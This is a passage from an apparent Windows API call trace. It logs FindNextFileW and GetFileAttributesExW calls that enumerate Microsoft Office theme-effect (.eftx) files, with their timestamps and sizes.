	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="PAPER~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="PERSPE~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="PUSHPI~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="SLIPST~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="SOLSTI~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="TECHNI~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="THATCH~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="TREK~1.EFT")) returned 1
	[0051.831] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="URBAN~1.EFT")) returned 1
	[0051.832] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="VERVE~1.EFT")) returned 1
	[0051.832] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 1
	[0051.832] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0051.832] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0051.832] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Adjacency.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\adjacency.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d188 | out: lpFileInformation=0x1270d188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x61c8a500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe591d000, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x61c8a500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5261)) returned 1
	[0051.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Angles.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\angles.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d1d8 | out: lpFileInformation=0x1270d1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x655c2c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x655c2c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6ae5)) returned 1
	[0051.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apex.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apex.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d228 | out: lpFileInformation=0x1270d228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x83b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x354c6)) returned 1
	[0051.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Apothecary.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\apothecary.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d278 | out: lpFileInformation=0x1270d278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f368c00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3f368c00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbf81)) returned 1
	[0051.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Aspect.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\aspect.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d2c8 | out: lpFileInformation=0x1270d2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a)) returned 1
	[0051.834] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Austin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\austin.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d318 | out: lpFileInformation=0x1270d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d)) returned 1
	[0051.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Black Tie.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\black tie.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d368 | out: lpFileInformation=0x1270d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87)) returned 1
	[0051.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Civic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\civic.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d3b8 | out: lpFileInformation=0x1270d3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5)) returned 1
	[0051.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Clarity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\clarity.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d408 | out: lpFileInformation=0x1270d408*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032)) returned 1
	[0051.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Composite.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\composite.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d458 | out: lpFileInformation=0x1270d458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4)) returned 1
	[0051.835] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Concourse.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\concourse.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d4a8 | out: lpFileInformation=0x1270d4a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791)) returned 1
	[0051.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d4f8 | out: lpFileInformation=0x1270d4f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721)) returned 1
	[0051.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Elemental.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\elemental.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d548 | out: lpFileInformation=0x1270d548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1)) returned 1
	[0051.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Equity.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\equity.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d598 | out: lpFileInformation=0x1270d598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023)) returned 1
	[0051.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d5e8 | out: lpFileInformation=0x1270d5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde)) returned 1
	[0051.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\executive.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d638 | out: lpFileInformation=0x1270d638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4)) returned 1
	[0051.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Flow.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\flow.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d688 | out: lpFileInformation=0x1270d688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818)) returned 1
	[0051.836] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d6d8 | out: lpFileInformation=0x1270d6d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732)) returned 1
	[0051.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d728 | out: lpFileInformation=0x1270d728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf)) returned 1
	[0051.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Hardcover.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\hardcover.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d778 | out: lpFileInformation=0x1270d778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1)) returned 1
	[0051.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d7c8 | out: lpFileInformation=0x1270d7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892)) returned 1
	[0051.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d818 | out: lpFileInformation=0x1270d818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a)) returned 1
	[0051.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d868 | out: lpFileInformation=0x1270d868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35)) returned 1
	[0051.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d8b8 | out: lpFileInformation=0x1270d8b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d)) returned 1
	[0051.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d908 | out: lpFileInformation=0x1270d908*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301)) returned 1
	[0051.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d958 | out: lpFileInformation=0x1270d958*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059)) returned 1
	[0051.838] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d9a8 | out: lpFileInformation=0x1270d9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9)) returned 1
	[0051.838] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Origin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\origin.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270d9f8 | out: lpFileInformation=0x1270d9f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed)) returned 1
	[0051.838] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270da48 | out: lpFileInformation=0x1270da48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a)) returned 1
	[0051.838] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), fInfoLevelId=0x0, lpFileInformation=0x1270da98 | out: lpFileInformation=0x1270da98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af)) returned 1
